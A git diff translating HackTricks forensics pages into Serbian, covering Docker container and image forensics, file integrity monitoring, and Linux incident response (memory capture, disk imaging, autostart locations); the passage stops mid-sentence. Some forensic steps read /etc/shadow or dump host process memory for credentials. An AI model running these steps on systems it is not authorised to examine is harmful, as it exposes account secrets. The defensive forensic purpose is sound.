-## Container modification - -There are suspicions that some docker container was compromised: +## Modifikacija kontejnera +Postoje sumnje da je neki docker kontejner kompromitovan: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Lako možete **pronaći izmene koje su napravljene na ovom kontejneru u vezi sa slikom** pomoću: ```bash docker diff wordpress C /var @@ -39,70 +36,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +U prethodnoj komandi **C** znači **Promenjeno** i **A,** **Dodato**.\ +Ako primetite da je neka zanimljiva datoteka poput `/etc/shadow` izmenjena, možete je preuzeti iz kontejnera kako biste proverili da li postoji zlonamerna aktivnost pomoću: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Možete ga takođe **uporediti sa originalnim** pokretanjem nove kontejnera i izvlačenjem datoteke iz njega: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Ako primetite da je **dodat sumnjiv fajl**, možete pristupiti kontejneru i proveriti ga: ```bash docker exec -it wordpress bash ``` +## Modifikacije slika -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Kada vam je dat izvezena Docker slika (verovatno u `.tar` formatu), možete koristiti [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) da **izvučete sažetak modifikacija**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Zatim možete **dekompresovati** sliku i **pristupiti blobovima** kako biste pretražili sumnjive datoteke koje ste možda pronašli u istoriji promena: ```bash tar -xf image.tar ``` +### Osnovna analiza -### Basic Analysis - -You can get **basic information** from the image running: - +Možete dobiti **osnovne informacije** o pokrenutoj slici: ```bash -docker inspect +docker inspect ``` - -You can also get a summary **history of changes** with: - +Takođe možete dobiti sažetak **istorije promena** sa: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Takođe možete generisati **dockerfile iz slike** pomoću: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Da biste pronašli dodate/izmenjene datoteke u Docker slikama, možete koristiti i [**dive**](https://github.com/wagoodman/dive) (preuzmite ga sa [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) alat: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -111,33 +90,30 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Ovo vam omogućava da **navigirate kroz različite blobove Docker slika** i proverite koje su datoteke izmenjene/dodate. **Crvena** boja označava dodate datoteke, a **žuta** boja označava izmenjene datoteke. Koristite **tab** za prelazak na drugi prikaz i **razmaknicu** za skupljanje/otvaranje foldera. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Sa die-om nećete moći da pristupite sadržaju različitih faza slike. Da biste to uradili, moraćete **dekompresovati svaki sloj i pristupiti mu**.\ +Možete dekompresovati sve slojeve slike iz direktorijuma gde je slika dekompresovana izvršavanjem: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Poverenijalni podaci iz memorije -## Credentials from memory +Imajte na umu da kada pokrenete Docker kontejner unutar hosta, **možete videti procese koji se izvršavaju na kontejneru sa hosta** tako što ćete pokrenuti `ps -ef`. -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). +Stoga (kao root) možete **izvući memoriju procesa** sa hosta i pretraživati je u potrazi za **poverenijalnim podacima**, baš [**kao u sledećem primeru**](../../linux-hardening/privilege-escalation/#process-memory).
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 4e75ea70e..b006bb13f 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,56 +1,52 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Baseline +# Osnovna linija -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Osnovna linija se sastoji od snimanja trenutnog stanja određenih delova sistema kako bi se **uporedilo sa budućim stanjem i istakle promene**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Na primer, možete izračunati i sačuvati heš svake datoteke na fajl sistemu kako biste saznali koje su datoteke izmenjene.\ +Ovo se takođe može uraditi sa kreiranim korisničkim nalozima, pokrenutim procesima, pokrenutim servisima i bilo čim drugim što se ne bi trebalo mnogo ili uopšte ne bi trebalo menjati. -## File Integrity Monitoring +## Praćenje integriteta datoteka -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Praćenje integriteta datoteka (FIM) je kritična bezbednosna tehnika koja štiti IT okruženja i podatke praćenjem promena u datotekama. Uključuje dva ključna koraka: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Upoređivanje sa osnovnom linijom:** Uspostavite osnovnu liniju koristeći atribute datoteka ili kriptografske kontrolne sume (poput MD5 ili SHA-2) za buduća upoređivanja radi otkrivanja izmena. +2. **Obaveštenje o promeni u realnom vremenu:** Dobijajte trenutna upozorenja kada se datoteke pristupaju ili menjaju, obično putem proširenja jezgra operativnog sistema. -## Tools +## Alati * [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) * [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Reference * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index e55a5824b..73111690b 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,40 +1,37 @@ -# Linux Forensics +# Linux forenzika
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Initial Information Gathering +## Početno prikupljanje informacija -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Osnovne informacije +Prvo, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno preuzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB i izmenite okruženjske promenljive da biste koristili te binarne fajlove: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Jednom kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -52,51 +49,47 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Sumnjive informacije -#### Suspicious information +Prilikom dobijanja osnovnih informacija trebali biste proveriti čudne stvari kao što su: -While obtaining the basic information you should check for weird things like: +* **Root procesi** obično se izvršavaju sa niskim PID-om, pa ako pronađete root proces sa velikim PID-om, možete posumnjati +* Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd` +* Proverite da li postoje **hešovi lozinki** unutar `/etc/shadow` za korisnike bez ljuske -* **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -* Check **registered logins** of users without a shell inside `/etc/passwd` -* Check for **password hashes** inside `/etc/shadow` for users without a shell +### Damp memorije -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Da biste ga **kompajlirali**, morate koristiti **istu kernel verziju** koju koristi žrtvena mašina. {% hint style="info" %} -Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it +Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvenoj mašini jer će to izazvati nekoliko promena na njoj. {% endhint %} -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: - +Dakle, ako imate identičnu verziju Ubuntu-a, možete koristiti `apt-get install lime-forensics-dkms`\ +U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel zaglavljima. Da biste **dobili tačna kernel zaglavlja** žrtvene mašine, jednostavno **kopirajte direktorijum** `/lib/modules/` na vašu mašinu, a zatim **kompajlirajte** LiME koristeći ih: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME podržava 3 **formata**: -LiME supports 3 **formats**: +* Sirovi (svaki segment je konkateniran zajedno) +* Padded (isti kao sirovi, ali sa nulama na desnoj strani) +* Lime (preporučeni format sa metapodacima) -* Raw (every segment concatenated together) -* Padded (same as raw, but with zeroes in right bits) -* Lime (recommended format with metadata +LiME se takođe može koristiti za **slanje dumpa preko mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Snimanje diska -### Disk Imaging +#### Gašenje -#### Shutting down +Prvo, moraćete **ugasiti sistem**. To nije uvek opcija jer će neki sistemi biti serverski sistemi koje kompanija ne može da priušti da isključi.\ +Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **isključivanje iz struje**. Prvi način će omogućiti **procesima da se završe kao i obično** i da se **fajl sistem sinhronizuje**, ali će takođe omogućiti mogućem **malveru da uništi dokaze**. Pristup "isključivanje iz struje" može dovesti do **gubitka nekih informacija** (neće biti izgubljeno mnogo informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi u vezi toga. Dakle, ako **sumnjate** da postoji **malver**, samo izvršite **`sync`** **komandu** na sistemu i isključite ga iz struje. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Snimanje slike diska +Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -105,35 +98,33 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Preanaliza slike diska -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Kreiranje slike diska bez dodatnih podataka. ```bash #Find out if it's a disk image using "file" command -file disk.img +file disk.img disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) #Check which type of disk image it's -img_stat -t evidence.img +img_stat -t evidence.img raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image -fsstat -i raw -f ext4 disk.img +fsstat -i raw -f ext4 disk.img FILE SYSTEM INFORMATION -------------------------------------------- File System Type: Ext4 -Volume Name: +Volume Name: Volume ID: 162850f203fd75afab4f1e4736a7e776 Last Written at: 2020-02-06 06:22:48 (UTC) @@ -162,42 +153,40 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Search for known Malware +## Pretraga poznatih malvera -### Modified System Files +### Modifikovane sistemsko datoteke -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. +Linux nudi alate za osiguravanje integriteta sistemskih komponenti, što je ključno za otkrivanje potencijalno problematičnih datoteka. -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. +- **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru. +- **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da biste identifikovali bilo kakve probleme. -### Malware/Rootkit Detectors +### Detektori malvera/rootkita -Read the following page to learn about tools that can be useful to find malware: +Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Search installed programs +## Pretraga instaliranih programa -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima. -- For Debian, inspect **_`/var/lib/dpkg/status`_** and **_`/var/log/dpkg.log`_** to fetch details about package installations, using `grep` to filter for specific information. +- Za Debian, pregledajte **_`/var/lib/dpkg/status`_** i **_`/var/log/dpkg.log`_** da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje određenih informacija. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, and **_`/sbin`_**. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa. +Da biste otkrili softver koji je instaliran ručno ili izvan ovih upravljača paketa, istražite direktorijume poput **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_** i **_`/sbin`_**. Kombinujte listu direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, poboljšavajući tako pretragu svih instaliranih programa. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -213,30 +202,25 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` - -
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Recover Deleted Running Binaries - -Imagina a process taht was executed from /tmp/exec and deleted. It's possible to extract it +## Vraćanje obrisanih pokrenutih binarnih fajlova +Zamislite proces koji je pokrenut iz /tmp/exec i obrisan. Moguće je izvući ga ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Pregledajte lokacije automatskog pokretanja -## Inspect Autostart locations - -### Scheduled Tasks - +### Zakazani zadaci ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -250,63 +234,62 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Servisi -### Services +Putanje gde se malver može instalirati kao servis: -Paths where a malware could be isntalled as a service: - -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +- **/etc/inittab**: Poziva skripte za inicijalizaciju kao što je rc.sysinit, usmeravajući dalje ka skriptama za pokretanje. +- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ova druga nalazi u starijim verzijama Linuxa. +- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa kao što je Debian za skladištenje skripti za pokretanje. +- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno o varijanti Linuxa. +- **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa. +- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u više korisničkom nivou. +- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana. +- **~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skriveno mesto za malver usmeren na korisnika. +- **/lib/systemd/system/**: Univerzalni fajlovi jedinica za ceo sistem koje obezbeđuju instalirani paketi. -### Kernel Modules +### Kernel moduli -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +Kernel moduli Linuxa, često korišćeni od strane malvera kao komponente rootkita, se učitavaju prilikom pokretanja sistema. Direktorijumi i fajlovi koji su ključni za ove module uključuju: -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +- **/lib/modules/$(uname -r)**: Sadrži module za trenutnu verziju kernela. +- **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula. +- **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula. -### Other Autostart Locations +### Ostale lokacije za automatsko pokretanje -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući malver: -- **/etc/profile.d/***, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **~/.bashrc**, **~/.bash_profile**, **~/.profile**, and **~/.config/autostart**: User-specific files that run upon their 